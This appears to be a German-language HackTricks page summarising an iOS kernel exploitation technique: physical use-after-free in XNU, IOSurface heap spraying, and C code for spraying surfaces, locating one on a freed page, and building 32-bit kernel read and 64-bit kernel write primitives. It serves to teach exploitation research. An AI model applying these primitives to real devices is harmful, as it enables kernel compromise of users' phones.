hacktricks/src/binary-exploitation/ios-exploiting.md

209 lines
10 KiB
Markdown

# iOS Exploiting
{{#include ../banners/hacktricks-training.md}}
## Physikalisches Use-After-Free
Dies ist eine Zusammenfassung des Beitrags von [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html). Weitere Informationen über den Exploit mit dieser Technik finden Sie unter [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd).
### Speicherverwaltung in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
Der **virtuelle Adressraum** für Benutzerprozesse auf iOS reicht von **0x0 bis 0x8000000000**. Diese Adressen sind jedoch nicht direkt auf physischen Speicher abgebildet. Stattdessen verwendet der **Kernel** **Seiten-Tabellen**, um virtuelle Adressen in tatsächliche **physische Adressen** zu übersetzen.
#### Ebenen der Seiten-Tabellen in iOS
Seiten-Tabellen sind hierarchisch in drei Ebenen organisiert:
1. **L1-Seitentabelle (Ebene 1)**:
* Jeder Eintrag hier repräsentiert einen großen Bereich virtuellen Speichers.
* Sie deckt **0x1000000000 Bytes** (oder **256 GB**) virtuellen Speicher ab.
2. **L2-Seitentabelle (Ebene 2)**:
* Ein Eintrag hier repräsentiert einen kleineren Bereich virtuellen Speichers, speziell **0x2000000 Bytes** (32 MB).
* Ein L1-Eintrag kann auf eine L2-Tabelle verweisen, wenn er den gesamten Bereich nicht selbst abbilden kann.
3. **L3-Seitentabelle (Ebene 3)**:
* Dies ist die feinste Ebene, bei der jeder Eintrag eine einzelne **4 KB** Speicherseite abbildet.
* Ein L2-Eintrag kann auf eine L3-Tabelle verweisen, wenn eine genauere Kontrolle erforderlich ist.
#### Abbildung von virtuellem zu physischem Speicher
* **Direkte Abbildung (Blockabbildung)**:
* Einige Einträge in einer Seiten-Tabelle **bilden einen Bereich virtueller Adressen** auf einen zusammenhängenden Bereich physischer Adressen ab (wie eine Abkürzung).
* **Zeiger auf die Kind-Seitentabelle**:
* Wenn eine genauere Kontrolle erforderlich ist, kann ein Eintrag in einer Ebene (z. B. L1) auf eine **Kind-Seitentabelle** in der nächsten Ebene (z. B. L2) verweisen.
#### Beispiel: Abbildung einer virtuellen Adresse
Angenommen, Sie versuchen, auf die virtuelle Adresse **0x1000000000** zuzugreifen:
1. **L1-Tabelle**:
* Der Kernel überprüft den L1-Seitentabelle-Eintrag, der dieser virtuellen Adresse entspricht. Wenn er einen **Zeiger auf eine L2-Seitentabelle** hat, geht er zu dieser L2-Tabelle.
2. **L2-Tabelle**:
* Der Kernel überprüft die L2-Seitentabelle auf eine detailliertere Abbildung. Wenn dieser Eintrag auf eine **L3-Seitentabelle** verweist, fährt er dort fort.
3. **L3-Tabelle**:
* Der Kernel sucht den endgültigen L3-Eintrag, der auf die **physische Adresse** der tatsächlichen Speicherseite verweist.
#### Beispiel der Adressabbildung
Wenn Sie die physische Adresse **0x800004000** in den ersten Index der L2-Tabelle schreiben, dann:
* Virtuelle Adressen von **0x1000000000** bis **0x1002000000** werden auf physische Adressen von **0x800004000** bis **0x802004000** abgebildet.
* Dies ist eine **Blockabbildung** auf der L2-Ebene.
Alternativ, wenn der L2-Eintrag auf eine L3-Tabelle verweist:
* Jede 4 KB-Seite im virtuellen Adressbereich **0x1000000000 -> 0x1002000000** würde durch einzelne Einträge in der L3-Tabelle abgebildet.
### Physikalisches Use-After-Free
Ein **physikalisches Use-After-Free** (UAF) tritt auf, wenn:
1. Ein Prozess **Speicher** als **lesbar und schreibbar** **allokiert**.
2. Die **Seiten-Tabellen** werden aktualisiert, um diesen Speicher auf eine spezifische physische Adresse abzubilden, auf die der Prozess zugreifen kann.
3. Der Prozess den Speicher **deallokiert** (freigibt).
4. Aufgrund eines **Bugs** vergisst der Kernel, die Abbildung aus den Seiten-Tabellen zu entfernen, obwohl er den entsprechenden physischen Speicher als frei markiert.
5. Der Kernel kann dann diesen "freigegebenen" physischen Speicher für andere Zwecke, wie **Kernel-Daten**, **reallokieren**.
6. Da die Abbildung nicht entfernt wurde, kann der Prozess weiterhin **lesen und schreiben** in diesen physischen Speicher.
Das bedeutet, dass der Prozess auf **Seiten des Kernel-Speichers** zugreifen kann, die sensible Daten oder Strukturen enthalten könnten, was einem Angreifer potenziell ermöglicht, **Kernel-Speicher zu manipulieren**.
### Exploitation-Strategie: Heap Spray
Da der Angreifer nicht kontrollieren kann, welche spezifischen Kernel-Seiten auf den freigegebenen Speicher zugewiesen werden, verwenden sie eine Technik namens **Heap Spray**:
1. Der Angreifer **erstellt eine große Anzahl von IOSurface-Objekten** im Kernel-Speicher.
2. Jedes IOSurface-Objekt enthält einen **magischen Wert** in einem seiner Felder, was die Identifizierung erleichtert.
3. Sie **durchsuchen die freigegebenen Seiten**, um zu sehen, ob eines dieser IOSurface-Objekte auf einer freigegebenen Seite gelandet ist.
4. Wenn sie ein IOSurface-Objekt auf einer freigegebenen Seite finden, können sie es verwenden, um **Kernel-Speicher zu lesen und zu schreiben**.
Weitere Informationen dazu finden Sie unter [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups).
### Schritt-für-Schritt Heap Spray Prozess
1. **IOSurface-Objekte sprühen**: Der Angreifer erstellt viele IOSurface-Objekte mit einem speziellen Identifikator ("magischer Wert").
2. **Freigegebene Seiten durchsuchen**: Sie überprüfen, ob eines der Objekte auf einer freigegebenen Seite zugewiesen wurde.
3. **Kernel-Speicher lesen/schreiben**: Durch Manipulation der Felder im IOSurface-Objekt erhalten sie die Fähigkeit, **willkürliche Lese- und Schreibvorgänge** im Kernel-Speicher durchzuführen. Dies ermöglicht ihnen:
* Ein Feld zu verwenden, um **jeden 32-Bit-Wert** im Kernel-Speicher zu **lesen**.
* Ein anderes Feld zu verwenden, um **64-Bit-Werte** zu **schreiben**, wodurch eine stabile **Kernel-Lese-/Schreibprimitive** erreicht wird.
Generieren Sie IOSurface-Objekte mit dem magischen Wert IOSURFACE\_MAGIC, um später danach zu suchen:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Suche nach **`IOSurface`**-Objekten in einer freigegebenen physischen Seite:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Erreichen von Kernel Lese-/Schreibzugriff mit IOSurface
Nachdem wir die Kontrolle über ein IOSurface-Objekt im Kernel-Speicher (zu einer freigegebenen physischen Seite, die aus dem Userspace zugänglich ist, gemappt) erlangt haben, können wir es für **willkürliche Kernel-Lese- und Schreiboperationen** verwenden.
**Wichtige Felder in IOSurface**
Das IOSurface-Objekt hat zwei entscheidende Felder:
1. **Use Count Pointer**: Ermöglicht einen **32-Bit-Lesezugriff**.
2. **Indexed Timestamp Pointer**: Ermöglicht einen **64-Bit-Schreibzugriff**.
Durch das Überschreiben dieser Zeiger leiten wir sie an willkürliche Adressen im Kernel-Speicher um, was Lese-/Schreibfähigkeiten ermöglicht.
#### 32-Bit Kernel Lesezugriff
Um einen Lesezugriff durchzuführen:
1. Überschreiben Sie den **use count pointer**, um auf die Zieladresse minus einem 0x14-Byte-Offset zu zeigen.
2. Verwenden Sie die Methode `get_use_count`, um den Wert an dieser Adresse zu lesen.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-Bit Kernel Write
Um einen Schreibvorgang durchzuführen:
1. Überschreiben Sie den **indizierten Zeitstempelzeiger** mit der Zieladresse.
2. Verwenden Sie die Methode `set_indexed_timestamp`, um einen 64-Bit-Wert zu schreiben.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Exploit Flow Recap
1. **Trigger Physical Use-After-Free**: Freie Seiten sind zur Wiederverwendung verfügbar.
2. **Spray IOSurface Objects**: Viele IOSurface-Objekte mit einem einzigartigen "magischen Wert" im Kernel-Speicher zuweisen.
3. **Identify Accessible IOSurface**: Ein IOSurface auf einer freigegebenen Seite finden, die Sie kontrollieren.
4. **Abuse Use-After-Free**: Zeiger im IOSurface-Objekt ändern, um beliebiges **Kernel-Lesen/Schreiben** über IOSurface-Methoden zu ermöglichen.
Mit diesen Primitiven bietet der Exploit kontrollierte **32-Bit-Lesevorgänge** und **64-Bit-Schreibvorgänge** im Kernel-Speicher. Weitere Jailbreak-Schritte könnten stabilere Lese-/Schreibprimitiven erfordern, die möglicherweise das Umgehen zusätzlicher Schutzmaßnahmen (z. B. PPL auf neueren arm64e-Geräten) erfordern.
{{#include ../banners/hacktricks-training.md}}